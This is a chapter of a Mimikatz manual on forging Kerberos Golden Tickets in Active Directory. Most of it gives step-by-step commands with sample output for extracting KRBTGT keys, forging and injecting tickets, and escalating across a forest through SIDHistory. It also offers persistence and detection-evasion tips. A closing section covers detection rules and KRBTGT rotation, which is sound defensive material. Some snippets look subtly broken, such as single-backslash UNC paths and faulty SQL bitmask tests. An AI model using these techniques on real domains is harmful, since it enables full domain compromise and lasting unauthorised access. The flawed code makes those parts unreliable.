Mimikatz Missing Manual

Appearance

Chapter 30: Kerberos Tickets - Golden Ticket ​

Introduction ​

Golden Ticket attacks represent one of the most powerful and persistent domain compromise techniques available to attackers. Unlike Pass-The-Hash or Pass-The-Ticket attacks that leverage existing credentials or tickets, Golden Tickets involve forging entirely new Ticket-Granting Tickets (TGTs) that are cryptographically valid and indistinguishable from legitimate TGTs issued by the domain's Key Distribution Center (KDC).

The attack's power stems from a fundamental characteristic of Kerberos: TGTs are encrypted and signed using the long-term key of the domain's KRBTGT account. If an attacker obtains this KRBTGT key (the NTLM hash or AES key), they can forge TGTs for any user in the domain - including non-existent users, disabled accounts, or users who have never authenticated. These forged TGTs allow the attacker to request service tickets for any resource in the domain without ever contacting the KDC for initial authentication.

From an operational perspective, Golden Tickets provide attackers with extraordinary capabilities for persistence and stealth. A single extraction of the KRBTGT key enables indefinite domain access, even after the compromised administrative account used to obtain the key has been secured. The forged tickets can have arbitrary lifetimes (the default is 10 years in Mimikatz), bypass Protected Users group restrictions, circumvent smart card requirements, and grant any level of privilege through PAC manipulation. The attack effectively grants "golden" access to every resource in the domain.

This chapter explores the cryptographic foundation that makes Golden Tickets possible, demonstrates Mimikatz's ticket forging capabilities, examines real-world attack scenarios and persistence strategies, details detection approaches, and provides defensive countermeasures.

Technical Foundation: TGT Forgery and KRBTGT ​

The KRBTGT Account ​

The KRBTGT account is a special, automatically created account that exists in every Active Directory domain. This account's sole purpose is to act as the service principal for the Kerberos Key Distribution Center (KDC) running on domain controllers.

KRBTGT Characteristics:

  • Created automatically during domain creation
  • Cannot be deleted (protected by Active Directory)
  • Disabled for interactive logon
  • Password is randomly generated (very high entropy)
  • Password never expires by default
  • No user can authenticate as KRBTGT directly

The KRBTGT account's password is used to derive cryptographic keys that encrypt and sign all TGTs issued by the domain. When a user successfully authenticates and requests a TGT, the KDC:

  1. Validates the user's credentials (pre-authentication)
  2. Creates a TGT containing the user's identity and group memberships (PAC)
  3. Encrypts the TGT using the KRBTGT account's key
  4. Returns the encrypted TGT to the client

The client cannot decrypt the TGT (it doesn't have the KRBTGT key), but can present it to the KDC to request service tickets. When the KDC receives a TGT, it decrypts it using the KRBTGT key, validates the PAC signature, and issues the requested service ticket.

Key Derivation

The KRBTGT account, like all accounts, has multiple key types depending on the supported encryption types:

  1. RC4-HMAC (0x17):

    RC4_Key = NT_Hash = MD4(UTF-16-LE(password))

  2. AES128-CTS-HMAC-SHA1-96 (0x11):

    AES128_Key = PBKDF2-HMAC-SHA1(password, "DOMAIN.COMkrbtgt", 4096, 16 bytes)

  3. AES256-CTS-HMAC-SHA1-96 (0x12):

    AES256_Key = PBKDF2-HMAC-SHA1(password, "DOMAIN.COMkrbtgt", 4096, 32 bytes)

These keys are stored in Active Directory (ntds.dit) and cached in LSASS memory on domain controllers. An attacker with sufficient privileges can extract these keys using DCSync, LSASS memory access, or offline ntds.dit analysis.

TGT Structure and PAC ​

A Ticket-Granting Ticket contains two main components: the encrypted ticket portion and the unencrypted client portion.

Encrypted Ticket (EncTicketPart):

asn1
EncTicketPart ::= SEQUENCE {
    flags[0]              TicketFlags,
    key[1]                EncryptionKey,        -- Session key
    crealm[2]             Realm,
    cname[3]              PrincipalName,
    transited[4]          TransitedEncoding,
    authtime[5]           KerberosTime,         -- Initial authentication
    starttime[6]          KerberosTime OPTIONAL,
    endtime[7]            KerberosTime,
    renew-till[8]         KerberosTime OPTIONAL,
    caddr[9]              HostAddresses OPTIONAL,
    authorization-data[10] AuthorizationData OPTIONAL  -- Contains PAC
}

The Privilege Attribute Certificate (PAC) is embedded in the authorization-data field. The PAC contains:

  • User ID (RID): The Relative Identifier of the user (e.g., 500 for Administrator)
  • Primary Group ID: The RID of the user's primary group
  • Group Memberships: Array of all group RIDs the user belongs to
  • SID History: Additional SIDs from account migration or forest trusts
  • User Account Control flags: Account status, password expiration, etc.
  • Logon Time: When the user authenticated
  • Server Checksum: MD5 checksum of PAC signed with server key
  • KDC Checksum: HMAC of PAC signed with KRBTGT key

The KDC checksum is critical for security - it's signed with the KRBTGT key, ensuring only the KDC can create or modify PACs. However, if an attacker has the KRBTGT key, they can create arbitrary PACs with any group memberships and valid signatures.

Cryptographic Validation Process ​

When a domain controller receives a TGT during a TGS_REQ (service ticket request), it performs these validation steps:

  1. Decrypt the TGT: Use KRBTGT key to decrypt the EncTicketPart
  2. Verify KDC Signature: Validate the PAC's KDC checksum using KRBTGT key
  3. Check Timestamps: Ensure ticket is within valid time window
  4. Verify Flags: Ensure ticket flags are appropriate for the request
  5. Validate Session Key: Ensure the encrypted authenticator uses the session key from the TGT

If all checks pass, the TGT is considered valid and the KDC issues the requested service ticket.

Critical Insight for Golden Tickets: If the attacker has the correct KRBTGT key, they can create TGTs that pass all of these validation checks. The forged ticket is cryptographically indistinguishable from a legitimate ticket because it's encrypted with the correct key and contains a valid PAC signature.

Why Golden Tickets Bypass Security Controls ​

Protected Users Group: The Protected Users group imposes restrictions on how member accounts can authenticate (no RC4, no delegation, 4-hour TGT lifetime). However, these restrictions are enforced by the KDC when issuing TGTs. A Golden Ticket bypasses the KDC issuance process entirely, so Protected Users restrictions are never applied.

Smart Card Requirements: If an account is configured for "Smart card is required for interactive logon," the KDC validates this during initial authentication. Golden Tickets skip initial authentication, bypassing the smart card requirement completely.

Account Status: The KDC checks if an account is disabled, locked, or expired during authentication. Golden Tickets bypass this check. However, there's a caveat: after 20 minutes, the KDC validates account status when the TGT is used to request service tickets. This means:

  • First 20 minutes: Even deleted/disabled accounts work
  • After 20 minutes: Account must exist and be enabled

Password Changes: Changing a user's password doesn't invalidate Golden Tickets for that user. The tickets are encrypted with the KRBTGT key, not the user's key. Only rotating the KRBTGT key invalidates Golden Tickets.

KRBTGT Key Extraction Methods ​

Method 1: DCSync

DCSync allows replication of credentials from domain controllers without direct access:

mimikatz # lsadump::dcsync /user:krbtgt /domain:corp.acme.com

[DC] 'corp.acme.com' will be the domain
[DC] 'DC01.corp.acme.com' will be the DC server
[DC] 'krbtgt' will be the user account

Object RDN           : krbtgt

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Object Security ID   : S-1-5-21-3623811015-3361044348-30300820-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: ff46a9d8bd66c6efd77603da26796f35
    ntlm- 0: ff46a9d8bd66c6efd77603da26796f35
    lm  - 0: 48bd4c19276d8de9f5c43d70a9f0d1d2

Supplemental Credentials:

* Primary:Kerberos-Newer-Keys *
    Default Salt : CORP.ACMEkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 8c1cc33a67f39b4dbf2d4af44ba86f23e87e804e8c1c63b0b9c3ad59c92e3be9
      aes128_hmac       (4096) : 5c789d3b18ab61f6b7c68e7d889b22eb
      des_cbc_md5       (4096) : ac498f9f0c8b1773

Method 2: LSASS Access on Domain Controller

If an attacker has administrative access to a domain controller, they can extract the KRBTGT key directly from LSASS:

mimikatz # privilege::debug
mimikatz # sekurlsa::krbtgt

Authentication Id : 0 ; 0 (00000000:00000000)
Session           : Interactive from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 11/30/2024 08:00:00 AM
SID               : 

         * Domain : CORP
         * NTLM   : ff46a9d8bd66c6efd77603da26796f35
         * SHA1   : e6e2f32d3bd2c5d8c42c61f6d3d2f8e5c32e5d8c
         * DPAPI  : ff46a9d8bd66c6efd77603da26796f35

Method 3: Offline ntds.dit Analysis

If an attacker obtains a copy of the ntds.dit database (through volume shadow copy, backup, or exfiltration), they can extract the KRBTGT key offline:

mimikatz # lsadump::dcsync /user:krbtgt /domain:corp.acme.com /offline:ntds.dit /system:SYSTEM

All three methods ultimately provide the same information: the KRBTGT account's NTLM hash and AES keys, which are all that's needed to forge Golden Tickets.

Mimikatz Golden Ticket Implementation ​

kerberos::golden Command ​

The kerberos::golden command forges TGTs using the KRBTGT key. The basic syntax is:

mimikatz # kerberos::golden /user:<username> /domain:<FQDN> /sid:<domain_SID> /krbtgt:<hash> [options]

Required Parameters:

  • /user:<username>: The username to impersonate in the forged ticket. This can be any username - existing, disabled, or even fictional.

  • /domain:<FQDN>: The fully qualified domain name (e.g., corp.acme.com). This is critical for proper ticket function.

  • /sid:<domain_SID>: The Security Identifier of the domain (e.g., S-1-5-21-3623811015-3361044348-30300820). This SID is used to construct group membership RIDs in the PAC.

  • /krbtgt:<hash>: The NTLM hash or AES key of the KRBTGT account. Use either:

    • /krbtgt:<ntlm_hash> for RC4 encryption
    • /aes128:<key> for AES128 encryption
    • /aes256:<key> for AES256 encryption (preferred)

Optional Parameters:

  • /id:<RID>: The Relative Identifier for the user. Default is 500 (Administrator). Common values:

    • 500: Domain Administrator
    • 501: Guest
    • 502: KRBTGT
    • 512+: Regular users

  • /groups:<RID,RID,...>: Group membership RIDs to include in the PAC. Default is 513,512,520,518,519 (standard admin groups). Common RIDs:

    • 512: Domain Admins
    • 513: Domain Users
    • 518: Schema Admins
    • 519: Enterprise Admins
    • 520: Group Policy Creator Owners

  • /sids:<SID,SID,...>: Additional SIDs to add to SIDHistory. Used for cross-domain attacks (discussed later).

  • /startoffset:<minutes>: Minutes before current time when ticket becomes valid. Default is 0. Use negative values for backdating.

  • /endin:<minutes>: Ticket lifetime in minutes. Default is 5,262,480 (10 years). Recommend 600 (10 hours) for stealth.

  • /renewmax:<minutes>: Maximum renewable lifetime. Default is 5,262,480 (10 years). Recommend 10,080 (7 days) for stealth.

  • /ptt: Pass-The-Ticket - inject the forged ticket directly into the current session instead of saving to file.

  • /ticket:<path>: Save the forged ticket to the specified file path.

Basic Golden Ticket Creation ​

Example 1: Create Golden Ticket for Administrator

First, gather required information:

mimikatz # lsadump::dcsync /user:krbtgt

[Output shows NTLM and AES keys]
Hash NTLM: ff46a9d8bd66c6efd77603da26796f35
aes256_hmac: 8c1cc33a67f39b4dbf2d4af44ba86f23e87e804e8c1c63b0b9c3ad59c92e3be9

Get domain SID (multiple methods possible):

mimikatz # lsadump::trust

Domain Name: CORP.ACME.COM
Domain SID: S-1-5-21-3623811015-3361044348-30300820

Forge the Golden Ticket:

mimikatz # kerberos::golden /user:Administrator /domain:corp.acme.com /sid:S-1-5-21-3623811015-3361044348-30300820 /aes256:8c1cc33a67f39b4dbf2d4af44ba86f23e87e804e8c1c63b0b9c3ad59c92e3be9 /ptt

User      : Administrator
Domain    : corp.acme.com (CORP)
SID       : S-1-5-21-3623811015-3361044348-30300820
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 8c1cc33a67f39b4dbf2d4af44ba86f23e87e804e8c1c63b0b9c3ad59c92e3be9 - aes256_hmac
Lifetime  : 11/30/2024 10:00:00 AM ; 12/10/2034 10:00:00 AM ; 12/10/2034 10:00:00 AM
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Administrator @ corp.acme.com' successfully submitted for current session

The /ptt flag immediately injects the ticket into memory. Verify with:

mimikatz # kerberos::list

[00000000] - 0x00000012 - aes256_hmac
   Start/End/MaxRenew: 11/30/2024 10:00:00 AM ; 12/10/2034 10:00:00 AM ; 12/10/2034 10:00:00 AM
   Server Name       : krbtgt/corp.acme.com @ CORP.ACME.COM
   Client Name       : Administrator @ CORP.ACME.COM
   Flags 40e10000    : forwardable ; renewable ; initial ; pre_authent ;

Now authenticate to any domain resource:

C:> dir \dc01.corp.acme.com\c$
[Success - full access to domain controller]

C:> PsExec64.exe \dc01.corp.acme.com cmd
[Success - command prompt on domain controller as Administrator]

Example 2: Create Golden Ticket for Non-Existent User

Golden Tickets can impersonate users that don't exist (useful for evasion):

mimikatz # kerberos::golden /user:TempAdmin /domain:corp.acme.com /sid:S-1-5-21-3623811015-3361044348-30300820 /id:1337 /groups:512,513 /aes256:8c1cc33a67f39b4dbf2d4af44ba86f23e87e804e8c1c63b0b9c3ad59c92e3be9 /ptt

This creates a ticket for "TempAdmin" (RID 1337) - a user that doesn't exist in Active Directory. For the first 20 minutes, this ticket works perfectly. After 20 minutes, the KDC validates account existence, and the ticket stops working.

Example 3: Save Golden Ticket to File

Instead of immediate use, save the ticket for later:

mimikatz # kerberos::golden /user:Administrator /domain:corp.acme.com /sid:S-1-5-21-3623811015-3361044348-30300820 /aes256:8c1cc33a67f39b4dbf2d4af44ba86f23e87e804e8c1c63b0b9c3ad59c92e3be9 /ticket:C:\Temp\golden.kirbi

[Ticket saved to C:\Temp\golden.kirbi]

Later, import the ticket:

mimikatz # kerberos::ptt C:\Temp\golden.kirbi

Example 4: Base64 Encoded Output

For exfiltration or remote use, output the ticket as Base64:

mimikatz # kerberos::golden /user:Administrator /domain:corp.acme.com /sid:S-1-5-21-3623811015-3361044348-30300820 /aes256:8c1cc33a67f39b4dbf2d4af44ba86f23e87e804e8c1c63b0b9c3ad59c92e3be9

[Output includes Base64 encoded ticket]

doIFHDCCBRigAwIBBaEDAgEWooIEJDCCBCBhggQcMIIEGKADAgEFoQ4bDEFDTUVM...
[Copy entire Base64 string]

On another system:

powershell
$ticket = [Convert]::FromBase64String("doIFHDCCBRigAwIBBaEDAgEWooIEJDCCBCBhggQc...")
[IO.File]::WriteAllBytes("ticket.kirbi", $ticket)

mimikatz # kerberos::ptt ticket.kirbi

Operational Golden Ticket Best Practices ​

For stealthier operations, mimic legitimate ticket characteristics:

Use Realistic Ticket Lifetimes:

mimikatz # kerberos::golden /user:Administrator /domain:corp.acme.com /sid:S-1-5-21-3623811015-3361044348-30300820 /aes256:8c1cc33a67f39b4dbf2d4af44ba86f23e87e804e8c1c63b0b9c3ad59c92e3be9 /endin:600 /renewmax:10080 /ptt

This sets:

  • Ticket lifetime: 600 minutes (10 hours) - matches default AD policy
  • Renewable lifetime: 10,080 minutes (7 days) - matches default AD policy

Use AES256 Encryption (most environments support this):

/aes256:<key>

Avoid RC4 (/krbtgt:<ntlm>) as it's increasingly flagged by detection tools.

Match Case Sensitivity:

The domain name in Event ID 4624 reflects the case used when creating the Golden Ticket. Legitimate tickets show uppercase domain names (e.g., CORP), while some tools default to lowercase or FQDN. Match expected case:

/domain:corp.acme.com    # Creates events with "CORP.ACME.COM"

Use Existing Accounts:

Impersonate real, active accounts instead of fictional ones to avoid the 20-minute validation issue:

/user:Administrator      # Real account - works indefinitely
/user:RandomUser123     # Fake account - fails after 20 minutes

Advanced: Cross-Domain Golden Tickets with SIDHistory ​

In multi-domain forests, the Enterprise Admins group (RID 519) exists only in the forest root domain. To gain Enterprise Admin privileges from a child domain Golden Ticket, use SIDHistory injection.

Scenario: Attacker compromised child.corp.acme.com and extracted the child domain's KRBTGT key. Goal is to access resources in the root domain corp.acme.com.

Standard Golden Ticket (Limited):

mimikatz # kerberos::golden /user:ChildAdmin /domain:child.corp.acme.com /sid:S-1-5-21-1111111111-2222222222-3333333333 /krbtgt:abc123... /ptt

[This ticket grants admin rights in child.corp.acme.com only]

SIDHistory Injection (Enterprise Admin):

First, obtain the root domain SID:

Root domain SID: S-1-5-21-3623811015-3361044348-30300820
Enterprise Admins RID: 519
Full SID: S-1-5-21-3623811015-3361044348-30300820-519

Create Golden Ticket with SIDHistory:

mimikatz # kerberos::golden /user:ChildAdmin /domain:child.corp.acme.com /sid:S-1-5-21-1111111111-2222222222-3333333333 /krbtgt:abc123... /sids:S-1-5-21-3623811015-3361044348-30300820-519 /ptt

User      : ChildAdmin
Domain    : child.corp.acme.com
SID       : S-1-5-21-1111111111-2222222222-3333333333
User Id   : 500
Groups Id : *513
Extra SIDs: S-1-5-21-3623811015-3361044348-30300820-519 ;

The /sids parameter adds the root domain's Enterprise Admins SID to the PAC's SIDHistory. When this ticket is used to access resources in any domain in the forest, the user is treated as an Enterprise Admin.

Test Forest-Wide Access:

C:> dir \rootdc.corp.acme.com\c$
[Success - Enterprise Admin access to root domain]

C:> dir \child2dc.child2.corp.acme.com\c$
[Success - Enterprise Admin access to other child domain]

This technique is devastating because:

  • Compromising a single child domain enables full forest compromise
  • SIDHistory filtering must be explicitly configured (often isn't)
  • Detection requires analyzing PAC contents, not just event logs

Attack Scenarios: Persistence and Impersonation ​

Scenario 1: Long-Term Persistence After Initial Compromise ​

Initial Compromise

An attacker exploits a vulnerability to gain Domain Admin privileges. Before defenders detect and remediate, the attacker establishes Golden Ticket persistence.

KRBTGT Extraction:

C:\Tools> mimikatz.exe

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::dcsync /user:krbtgt /domain:corp.acme.com

Hash NTLM: ff46a9d8bd66c6efd77603da26796f35
aes256_hmac: 8c1cc33a67f39b4dbf2d4af44ba86f23e87e804e8c1c63b0b9c3ad59c92e3be9

Golden Ticket Creation:

mimikatz # kerberos::golden /user:Administrator /domain:corp.acme.com /sid:S-1-5-21-3623811015-3361044348-30300820 /aes256:8c1cc33a67f39b4dbf2d4af44ba86f23e87e804e8c1c63b0b9c3ad59c92e3be9 /ticket:C:\Temp\persistence.kirbi

The attacker exfiltrates persistence.kirbi and the KRBTGT key to external systems.

Incident Response and Remediation

Defenders detect the compromise and take remediation actions:

  • Reset the compromised Domain Admin password
  • Disable the compromised account
  • Add the account to Protected Users group
  • Configure "Smart card required for interactive logon"
  • Deploy enhanced monitoring and EDR agents

Attacker Returns

Weeks later, the attacker returns with the Golden Ticket:

C:> mimikatz.exe

mimikatz # kerberos::ptt C:\Temp\persistence.kirbi

* File: 'C:\Temp\persistence.kirbi': OK

C:> dir \dc01.corp.acme.com\c$
[Success - all defensive measures bypassed]

The Golden Ticket works despite all remediation because:

  • Password reset doesn't affect KRBTGT-encrypted tickets
  • Account status (disabled, Protected Users) isn't validated for first 20 minutes
  • Smart card requirement bypassed (no initial authentication)
  • Monitoring focused on account-based authentication misses ticket reuse

Persistence Duration: The Golden Ticket remains valid until the KRBTGT password is rotated (which many organizations never do, or do only during major security events).

Scenario 2: Impersonating Privileged Service Accounts ​

Objective: Access a sensitive database server that only allows connections from a specific service account (svc_dbadmin).

Challenge: The attacker has Domain Admin rights but wants to access the database without:

  • Knowing the service account password
  • Triggering alerts for unusual Domain Admin activity
  • Modifying the database's security configuration

Solution: Golden Ticket impersonation

mimikatz # kerberos::golden /user:svc_dbadmin /domain:corp.acme.com /sid:S-1-5-21-3623811015-3361044348-30300820 /id:1523 /groups:513 /aes256:8c1cc33a67f39b4dbf2d4af44ba86f23e87e804e8c1c63b0b9c3ad59c92e3be9 /ptt

User      : svc_dbadmin
Domain    : corp.acme.com
SID       : S-1-5-21-3623811015-3361044348-30300820
User Id   : 1523
Groups Id : *513

Notes:

  • /user:svc_dbadmin: Impersonate the service account
  • /id:1523: Use the actual RID of the service account (lookup in AD)
  • /groups:513: Only include Domain Users (minimal privileges for stealth)

Access Database:

C:> sqlcmd -S dbserver.corp.acme.com -E

1> SELECT name FROM sys.databases;
2> GO

[Success - authenticated as svc_dbadmin using Kerberos]

Result: The attacker accessed the database as the service account without knowing its password. From the database's perspective, this is legitimate authentication. From the domain's perspective, Event ID 4768/4769 shows normal TGT and service ticket requests for svc_dbadmin.

Scenario 3: Evading Detection with Non-Existent Accounts ​

Objective: Establish backdoor access that doesn't correlate to any real user account (harder to investigate).

Technique: Create Golden Ticket for fictional user

mimikatz # kerberos::golden /user:SupportUser /domain:corp.acme.com /sid:S-1-5-21-3623811015-3361044348-30300820 /id:9999 /groups:512,513 /aes256:8c1cc33a67f39b4dbf2d4af44ba86f23e87e804e8c1c63b0b9c3ad59c92e3be9 /endin:18 /ticket:C:\Temp\backdoor.kirbi

Parameters:

  • /user:SupportUser: Name that looks legitimate but doesn't exist in AD
  • /id:9999: High RID unlikely to conflict with real accounts
  • /endin:18: 18-minute lifetime (expires before 20-minute validation kicks in)

Operational Use:

The attacker refreshes this ticket every 15 minutes:

*/15 * * * * mimikatz.exe "kerberos::ptt C:\Temp\backdoor.kirbi" exit

Defensive Challenge:

  • Event logs show authentication for "SupportUser"
  • Querying AD for "SupportUser" returns no results (account doesn't exist)
  • Investigating "SupportUser" activity is difficult (no account to analyze)
  • Short 18-minute lifetime makes timeline correlation harder

This technique is eventually detectable (non-existent account is suspicious), but provides initial obfuscation.

Scenario 4: Forest-Wide Privilege Escalation ​

Initial State: Attacker compromised child1.corp.acme.com (child domain) and extracted its KRBTGT key.

Objective: Gain Enterprise Admin access across the entire forest, including:

  • Root domain: corp.acme.com
  • Other child domains: child2.corp.acme.com, child3.corp.acme.com

Attack Flow:

  1. Enumerate Forest Structure:

    C:> nltest /trusted_domains

corp.acme.com (root)
child1.corp.acme.com (child - compromised)
child2.corp.acme.com (child)
child3.corp.acme.com (child)

  2. Obtain Root Domain SID:

    C:> Get-ADDomain -Identity corp.acme.com | Select-Object DomainSID

S-1-5-21-3623811015-3361044348-30300820

  3. Create Golden Ticket with Enterprise Admin SIDHistory:

    mimikatz # kerberos::golden /user:ChildAdmin /domain:child1.corp.acme.com /sid:S-1-5-21-1111111111-2222222222-3333333333 /krbtgt:abc123def456... /sids:S-1-5-21-3623811015-3361044348-30300820-519 /endin:600 /renewmax:10080 /ptt

  4. Validate Forest-Wide Access:

    C:> dir \rootdc.corp.acme.com\c$
Volume in drive \\rootdc.corp.acme.com\c$ is Windows
[Success]

C:> dir \child2dc.child2.corp.acme.com\c$
[Success]

C:> dir \child3dc.child3.corp.acme.com\c$
[Success]

  5. Extract KRBTGT Keys from All Domains:

    mimikatz # lsadump::dcsync /user:corp\krbtgt /domain:corp.acme.com
[Extract root domain KRBTGT]

mimikatz # lsadump::dcsync /user:child2\krbtgt /domain:child2.corp.acme.com
[Extract child2 KRBTGT]

mimikatz # lsadump::dcsync /user:child3\krbtgt /domain:child3.corp.acme.com
[Extract child3 KRBTGT]

Result: A single child domain compromise enabled:

  • Full Enterprise Admin access across the forest
  • Extraction of all KRBTGT keys from all domains
  • Ability to create Golden Tickets for any domain in the forest

Defensive Lesson: Child domain compromise = forest compromise (unless SID filtering is enforced).

Detection Strategies ​

Event Log Analysis ​

Windows Security Event ID 4768 - TGT Request

Legitimate TGT requests generate Event ID 4768 when users authenticate to the KDC. Golden Tickets skip this step - they're used directly without requesting a TGT from the KDC.

Detection Pattern:

  • Event ID 4769 (service ticket request) without preceding Event ID 4768 (TGT request)
  • Timeline: User has service tickets but no recent TGT issuance

Example Sigma Rule:

yaml
title: Service Ticket Without Recent TGT Request
description: Detects service ticket requests without corresponding TGT requests (possible Golden Ticket)
status: experimental
logsource:
    product: windows
    service: security
detection:
    selection_service:
        EventID: 4769
    filter_tgt:
        EventID: 4768
        TargetUserName: '%TargetUserName%'
    timeframe: 20m
    condition: selection_service and not filter_tgt

Windows Security Event ID 4624 - Logon

Golden Ticket usage generates Type 3 (Network) logons with unusual characteristics.

Anomaly Indicators:

  1. Domain Name Format: The domain field in Event ID 4624 shows the FQDN (e.g., CORP.ACME.COM) instead of the NetBIOS name (e.g., CORP) for Golden Tickets created with /domain:corp.acme.com. Legitimate tickets typically show NetBIOS names.

  2. Account Name Case: The case of the username reflects the /user parameter. If the attacker used /user:administrator (lowercase), the event shows "administrator" even if the real account is "Administrator" (uppercase).

  3. Logon Process: Golden Tickets show "Kerberos" as the authentication package but may have unusual logon process names.

Example Event XML:

xml
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <EventID>4624</EventID>
  </System>
  <EventData>
    <Data Name="TargetUserName">Administrator</Data>
    <Data Name="TargetDomainName">CORP.ACME.COM</Data>  <!-- FQDN instead of NetBIOS -->
    <Data Name="LogonType">3</Data>
    <Data Name="AuthenticationPackageName">Kerberos</Data>
    <Data Name="WorkstationName">ATTACKER-WS</Data>
  </EventData>
</Event>

Kerberos-Specific Detection ​

Windows Security Event ID 4769 - Service Ticket Request

Analyze service ticket requests for Golden Ticket indicators:

Anomaly 1: Encryption Type Downgrade

If the organization has disabled RC4 (through Group Policy), but Event ID 4769 shows RC4 tickets (0x17), this indicates forged tickets.

Filter Event ID 4769 where:

  • TicketEncryptionType = 0x17 (RC4)
  • Organization policy: AES-only

Anomaly 2: Unusual Service Ticket Lifetimes

Golden Tickets with default Mimikatz settings have 10-year lifetimes. Service tickets inherit this lifetime from the TGT.

Monitor for:

  • Service tickets with lifetimes > organizational policy (typically 10 hours)
  • Tickets with exactly 5,262,480 minute lifetimes (Mimikatz default)

Anomaly 3: Missing TGT Renewal

Legitimate TGTs are renewed periodically (Event ID 4770). Golden Tickets with very long lifetimes never renew.

Detection: Account with service ticket usage for days/weeks without any Event ID 4770 (TGT renewal).

Behavioral Analytics ​

Account Status Mismatch

Query: Accounts showing authentication activity despite being disabled, locked, or deleted.

sql
-- Pseudocode
SELECT TargetUserName, EventTime
FROM SecurityEvents
WHERE EventID = 4769
  AND TargetUserName IN (
    SELECT samAccountName
    FROM AD_Users
    WHERE UserAccountControl & 0x0002 = 1  -- Disabled
       OR AccountLockoutTime IS NOT NULL   -- Locked
  )

Smart Card Bypass

Query: Accounts with "Smart card required" showing Kerberos authentication without smart card logon.

sql
SELECT TargetUserName, EventTime, AuthenticationPackageName
FROM SecurityEvents
WHERE EventID = 4624
  AND AuthenticationPackageName = 'Kerberos'
  AND TargetUserName IN (
    SELECT samAccountName
    FROM AD_Users
    WHERE UserAccountControl & 0x40000 = 1  -- Smart card required
  )
  AND LogonType != 11  -- Not smart card logon

Protected Users Bypass

Query: Protected Users group members authenticating with RC4 or with TGT lifetime > 4 hours.

sql
SELECT TargetUserName, TicketEncryptionType, TicketLifetime
FROM SecurityEvents
WHERE EventID = 4769
  AND TargetUserName IN (
    SELECT samAccountName
    FROM AD_Group_Membership
    WHERE GroupSID = 'S-1-5-21-...-525'  -- Protected Users
  )
  AND (TicketEncryptionType = 0x17 OR TicketLifetime > 240)  -- RC4 or > 4 hours

Microsoft Defender for Identity (formerly Azure ATP) ​

Microsoft Defender for Identity provides dedicated Golden Ticket detection:

Detection Alerts:

  • "Suspected Golden Ticket usage (nonexistent account)"
  • "Suspected Golden Ticket usage (encryption downgrade)"
  • "Suspected Golden Ticket usage (time anomaly)"
  • "Suspected Golden Ticket usage (forged authorization data)"

Detection Methods:

  1. Account Validation: Correlates Kerberos events with AD account status. Alerts on tickets for non-existent, disabled, or expired accounts.

  2. Encryption Downgrade: Detects RC4 tickets when the account or domain supports AES-only.

  3. Time Anomaly: Identifies tickets with timestamps outside reasonable windows (e.g., backdated tickets, 10-year lifetimes).

  4. PAC Validation: Analyzes authorization data for inconsistencies (e.g., groups the user isn't actually a member of).

Network-Based Detection ​

Unusual Kerberos Traffic Patterns:

Monitor for:

  • TGS_REQ (service ticket requests) without preceding AS-REQ (TGT requests)
  • Kerberos traffic from hosts that never previously used Kerberos
  • Service ticket requests for high-value services (e.g., cifs/DC01) from unusual clients

Zeek/Bro Kerberos Logging:

javascript
// Detect service ticket without recent TGT
event kerberos_request(c: connection, ticket: TICKET) {
    if (ticket.service contains "krbtgt")
        log_tgt_request(c$id$orig_h, ticket.client);
    else if (!recent_tgt_for_client(c$id$orig_h, ticket.client))
        alert("Service ticket without recent TGT request");
}

Defensive Countermeasures ​

KRBTGT Password Rotation ​

The most effective defense against Golden Tickets is regular KRBTGT password rotation. Rotating the KRBTGT password immediately invalidates all Golden Tickets encrypted with the old key.

Rotation Procedure

The KRBTGT account has two password versions stored in Active Directory:

  • Current password (used for encrypting new TGTs)
  • Previous password (used for decrypting existing TGTs during grace period)

Step 1: First Rotation (establishes new current password)

powershell
# Use New-KrbtgtKeys.ps1 from Microsoft (recommended)
.\New-KrbtgtKeys.ps1 -Scope DomainWide -Domain corp.acme.com -WhatIf

# After reviewing, execute:
.\New-KrbtgtKeys.ps1 -Scope DomainWide -Domain corp.acme.com

After first rotation:

  • New TGTs encrypted with new password
  • Existing legitimate TGTs still valid (decrypted with old password in grace period)
  • Golden Tickets still valid (encrypted with old password)

Step 2: Wait for Maximum TGT Lifetime (typically 10 hours)

This allows all legitimate TGTs to expire. Users will request new TGTs encrypted with the new password.

Step 3: Second Rotation (invalidates Golden Tickets)

powershell
.\New-KrbtgtKeys.ps1 -Scope DomainWide -Domain corp.acme.com

After second rotation:

  • Previous password (the one Golden Tickets use) is completely replaced
  • Golden Tickets can no longer be decrypted by domain controllers
  • Golden Tickets become invalid

Rotation Frequency

NIST and Microsoft recommend:

  • Routine rotation: Annually
  • After compromise: Immediately (twice, with 10-hour wait)
  • High-security environments: Quarterly

Automation:

powershell
# Scheduled task for annual KRBTGT rotation
schtasks /create /tn "KRBTGT Rotation" /tr "powershell.exe -File C:\Scripts\Rotate-Krbtgt.ps1" /sc yearly /sd 01/15/2025 /st 03:00

Protecting KRBTGT Key from Extraction ​

Prevent DCSync

DCSync requires Replicating Directory Changes and Replicating Directory Changes All permissions. Restrict these permissions:

powershell
# Audit current DCSync permissions
Import-Module ActiveDirectory
$RootDSE = Get-ADRootDSE
$DomainDN = $RootDSE.defaultNamingContext

(Get-Acl "AD:$DomainDN").Access | Where-Object {
    $_.ObjectType -eq '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' -or  # DS-Replication-Get-Changes
    $_.ObjectType -eq '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'      # DS-Replication-Get-Changes-All
}

# Remove unauthorized DCSync permissions
# (Keep only Domain Controllers, Domain Admins, Enterprise Admins

Enable DC LSASS Protection

On Windows Server 2016+, enable Credential Guard and LSA Protection on domain controllers:

powershell
# Enable LSA Protection (PPL)
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1 -PropertyType DWORD

# Enable Credential Guard
Enable-WindowsOptionalFeature -Online -FeatureName IsolatedUserMode -NoRestart

